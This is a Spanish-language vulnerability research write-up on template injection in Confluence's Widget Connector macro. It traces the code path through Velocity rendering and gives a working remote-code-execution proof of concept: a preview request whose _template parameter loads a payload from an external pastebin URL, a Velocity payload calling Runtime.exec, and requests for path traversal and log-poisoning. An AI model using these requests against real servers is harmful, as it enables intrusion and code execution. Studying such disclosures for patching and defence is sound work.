
Inyección de plantilla no autorizada en Confluence
confluence.home a la ruta del home de Confluence en el archivo ./confluence/WEB-INF/classes/confluence-init.propertiesCATALINA_OPTS para que el programa pueda ejecutarse en modo de depuración remotaEn Windows, archivo ./bin/setenv.bat
set CATALINA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
En Linux, archivo ./bin/setenv.sh
CATALINA_OPTS="-Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=5005 ${CATALINA_OPTS}"
Remote JVM Debug con los valores host y port como localhost:5005 y Command line arguments for remote JVM-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
$ su - postgres
postgres@ubuntu:~$ psql -U postgres
postgres@ubuntu:~$ psql -U postgres
psql (10.6 (Ubuntu 10.6-0ubuntu0.18.04.1))
Type "help" for help.
postgres=# CREATE USER wiki WITH PASSWORD 'wiki';
CREATE ROLE
postgres=# CREATE DATABASE wiki OWNER wiki;
CREATE DATABASE
postgres=# GRANT ALL PRIVILEGES ON DATABASE jira TO wiki;
GRANT
Necesitamos añadir los siguientes jars: ./confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-x.x.x.jar, ./confluence/WEB-INF/lib/confluence-x.x.x.jar, ./confluence/WEB-INF/lib/velocity-x.x.x-atlassian-x.jar a la librería para que al depurar podamos ver el código fuente necesario.
Ejecutamos el archivo ./bin/start-confluence.bat y pueden consultar esta guía para instalar desde el código fuente.
Después de leer la Descripción, podemos saber que este error comienza desde la función Widget Connector, así que busqué en Google inmediatamente para saber qué es esta función y cómo usarla:
Editar una página

Seleccionar Other macros
Seleccionar Widget connector

Elegí parámetros al azar y presioné preview, luego fui a Burp para ver si había algo interesante.

En este paquete, vi un parámetro "pluginKey":"com.atlassian.confluence.extra.widgetconnector", así que supuse que la función Widget Connector está definida en la clase com.atlassian.confluence.extra.widgetconnector, por lo que busqué en la ruta si había algún jar sospechoso.

Intenté añadir el archivo ./confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-x.x.x.jar a la librería del proyecto para poder leer el código fuente y depurar.
Cómo añadir archivo jar a la librería
Al abrir el paquete widgetconnector, sentí simpatía por la clase WidgetMacro, así que puse un breakpoint en el constructor y en la función execute de esta clase para ver si esta clase se invocaba al usar la función Preview 🕵️

La función execute fue llamada, luego el programa llama a DefaultRenderManager.getEmbeddedHtml

Vemos que para entrar en el if necesitamos cumplir la condición widgetRenderer.matches(url). Procedemos a verificar la función en la clase
widgetRenderer.matches(url)YoutubeRenderer

Por lo tanto, necesito que el parámetro url sea una URL de un video de YouTube (o Vimeo, Twitter, ...). Configuré url como la URL de un video de YouTube cualquiera y el programa saltó al if para luego llamar a la función widgetRenderer.getEmbeddedHtml(url, params) (clase YoutubeRenderer)

El programa salta a la función setDefaultParam, donde vemos un parámetro oculto _template que parece sospechoso :)

Después de salir de la función setDefaultParam, el programa llama a la función DefaultVelocityRenderService.render

Continúa a la función getRenderedTemplate y VelocityUtils.getRenderedTemplate(String templateName, Map<?, ?> contextMap)


Luego a VelocityUtils.getRenderedTemplate(String templateName, Context context) y getRenderedTemplateWithoutSwallowingErrors(templateName, context)

La función renderTemplateWithoutSwallowingErrors

El programa llama a la función getTemplate y luego a VelocityEngine.getTemplate y RuntimeInstance.getTemplate, aquí vemos que el programa llama a la función getResource con el parámetro de entrada que es el valor del parámetro _template. En Java, getResource puede usarse para cargar recursos en forma de archivo local o un archivo en Internet (a través del protocolo HTTP).
Alto y piensa: ¿esto permite a un atacante introducir cualquier plantilla (desde el servidor local o desde el host del atacante) en el programa insertando el parámetro _template en la solicitud?

Continuamos la traza inversa para ver cómo procesa el programa la plantilla una vez obtenida:
Después de tener la plantilla, el programa llama a la función VelocityUtils.renderTemplateWithoutSwallowingErrors(template, context, writer);

Luego a template.merge(context, writer);
public void merge(Context context, Writer writer, List macroLibraries) throws ResourceNotFoundException, ParseErrorException, MethodInvocationException {
if (this.errorCondition != null) {
throw this.errorCondition;
} else if (this.data == null) {
String msg = "Template.merge() failure. The document is null, most likely due to parsing error.";
throw new RuntimeException(msg);
} else {
InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
ica.setMacroLibraries(macroLibraries);
if (macroLibraries != null) {
for(int i = 0; i < macroLibraries.size(); ++i) {
try {
this.rsvc.getTemplate((String)macroLibraries.get(i));
} catch (ResourceNotFoundException var17) {
this.rsvc.getLog().error("template.merge(): cannot find template " + (String)macroLibraries.get(i));
throw var17;
} catch (ParseErrorException var18) {
this.rsvc.getLog().error("template.merge(): syntax error in template " + (String)macroLibraries.get(i) + ".");
throw var18;
} catch (Exception var19) {
throw new RuntimeException("Template.merge(): parse failed in template " + (String)macroLibraries.get(i) + ".", var19);
}
}
}
if (this.provideScope) {
ica.put(this.scopeName, new Scope(this, ica.get(this.scopeName)));
}
try {
ica.pushCurrentTemplateName(this.name);
ica.setCurrentResource(this);
((SimpleNode)this.data).render(ica, writer); ### POC puede ser renderizado aquí ###
} catch (StopCommand var20) {
if (!var20.isFor(this)) {
throw var20;
}
if (this.rsvc.getLog().isDebugEnabled()) {
this.rsvc.getLog().debug(var20.getMessage());
}
} catch (IOException var21) {
throw new VelocityException("IO Error rendering template '" + this.name + "'", var21);
} finally {
ica.popCurrentTemplateName();
ica.setCurrentResource((Resource)null);
if (this.provideScope) {
Object obj = ica.get(this.scopeName);
if (obj instanceof Scope) {
Scope scope = (Scope)obj;
if (scope.getParent() != null) {
ica.put(this.scopeName, scope.getParent());
} else if (scope.getReplaced() != null) {
ica.put(this.scopeName, scope.getReplaced());
} else {
ica.remove(this.scopeName);
}
}
}
}
}
}
SimpleNode.render, esta función usa la plantilla Velocity para analizar la plantilla. Llegados a este punto, podemos escribir un PoC de RCE:Paquete de solicitud POST al solicitar la función Preview
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8090
Cookie: seraph.confluence=; JSESSIONID=
Connection: close
{
"contentId":"622594",
"macro": {
"name":"widget",
"body":"","params": {
"url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
"width":"10",
"height":"10",
"_template":"https://pastebin.com/raw/JPEpiuLG"
}
}
}
archivo payload
#set($x="x")
$x.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")

WidgetMacro: execute
-> DefaultRenderManager: getEmbeddedHtml
-> YoutubeRenderer: getEmbeddedHtml
-> DefaultVelocityRenderService: render -> getRenderedTemplate
-> (confluence-6.12.2.jar) VelocityUtils: getRenderedTemplate -> getRenderedTemplate -> getRenderedTemplateWithoutSwallowingErrors -> renderTemplateWithoutSwallowingErrors -> getTemplate -> getVelocityEngine
-> VelocityEngine: getTemplate
-> RuntimeInstance: getResource
-> (confluence-6.12.2.jar) VelocityUtils: renderTemplateWithoutSwallowingErrors
-> Template: merge
=> SimpleNode: render
Así que hemos replicado con éxito este error, pero en el caso de que el objetivo sea un servidor que bloquea el tráfico saliente, el atacante no puede obtener recursos de Internet, solo puede obtener recursos de archivos locales del servidor.
Recibí una sugerencia de que de alguna manera el usuario podría inyectar un payload en el archivo de registro. Esta es una idea bastante buena, así que me puse manos a la obra de inmediato.

POST /rest/analytics/1.0/publish/bulk que envía algunos pares clave-valor como los anteriores.[{"name":"browser.metrics.navigation",
"properties":{
"apdex":"0.5",
"firstPaint":"528",
"isInitial":"true",
"journeyId":"9e60e71a-8ebe-478c-a638-ee9423f5798f",
"key":"confluence.dashboard.view",
"navigationType":"0",
"readyForUser":"1117",
"redirectCount":"0",
"resourceLoadedEnd":"499",
"resourceLoadedStart":90.35499999299645,
"threshold":"1000",
"unloadEventStart":"47",
"unloadEventEnd":"47",
"fetchStart":"25",
"domainLookupStart":"25",
"domainLookupEnd":"25",
"connectStart":"25",
"connectEnd":"25",
"requestStart":"27",
"responseStart":"28",
"responseEnd":"37",
"domLoading":"52",
"domInteractive":"538",
"domContentLoadedEventStart":"538",
"domContentLoadedEventEnd":"691",
"domComplete":"1176",
"loadEventStart":"1176",
"loadEventEnd":"1176",
"userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36",
"pageEnd":"531",
"isBigPipeEnabled":"false",
"serverDuration":"339",
"requestCorrelationId":"36006c54d2919ecd",
"resourceTiming":"{\"☠\":[\"2,2i,2i,,,2i,,2i,2i,2i\",\"2,2i,31,2m,2k,2i,,2i,2i,2i\",\"2,2j,31,2m,2l,2j,,2j,2j,2j\",\"3,2l,2l,,,2l,,2l,2l,2l\",\"3,2l,2l,,,2l,,2l,2l,2l\",\"3,2m,2m,,,2m,,2m,2m,2m\",\"3,2n,2n,,,2n,,2n,2n,2n\",\"5,bz,cv,cv,c0,bz,,bz,bz,bz\",\"4,d6,d6,,,d6,,d6,d6,d6\",\"4,d7,d7,,,d7,,d7,d7,d7\",\"3,dq,dv,dr,dq,dq,,dq,dq,dq\",\"4,ej,ej,,,ej,,ej,ej,ej\",\"4,ej,ej,,,ej,,ej,ej,ej\",\"4,er,er,,,er,,er,er,er\",\"5,fl,fn,fn,fm,fl,,fl,fl,fl\",\"5,g9,ha,h9,gb,g9,,g9,g9,g9\",\"4,hv,hv,,,hv,,hv,hv,hv\",\"4,hv,hv,,,hv,,hv,hv,hv\",\"4,ik,ik,,,ik,,ik,ik,ik\",\"4,ik,ik,,,ik,,ik,ik,ik\",\"4,il,il,,,il,,il,il,il\",\"5,h4,ta,t0,pl,pk,,h6,h4,h4\"]}",
"userTimingRaw":"{\"marks\":{},\"measures\":{}}","experiments":"[]"},"timeDelta":-5176
}]
resourceTiming se puede modificar libremente y aún así se incluye en el registro.
POST /rest/tinymce/1/macro/preview HTTP/1.1
{
"contentId":"1507329",
"macro":{
"name":"widget",
"body":"",
"params":{
"url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
"_template":"/../../WEB-INF/classes/confluence-init.properties",
"width":"11",
"height":"11"
}
}
}
POST /rest/tinymce/1/macro/preview HTTP/1.1
{
"contentId":"1507329",
"macro":{
"name":"widget",
"body":"",
"params":{
"url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
"_template":"file:C://Users/XXXXX...XXXXX/.confluence/shared-home/analytics-logs/bd0f2792fe0234be516b843e25d54a14.515465381.atlassian-analytics.log",
"width":"11",
"height":"11"
}
}
}
En la versión parcheada, se agregó a la clase WidgetMacro la función doSanitizeParameters para eliminar el parámetro "_template" antes de llamar a renderManager.getEmbeddedHtml(url, parameters);
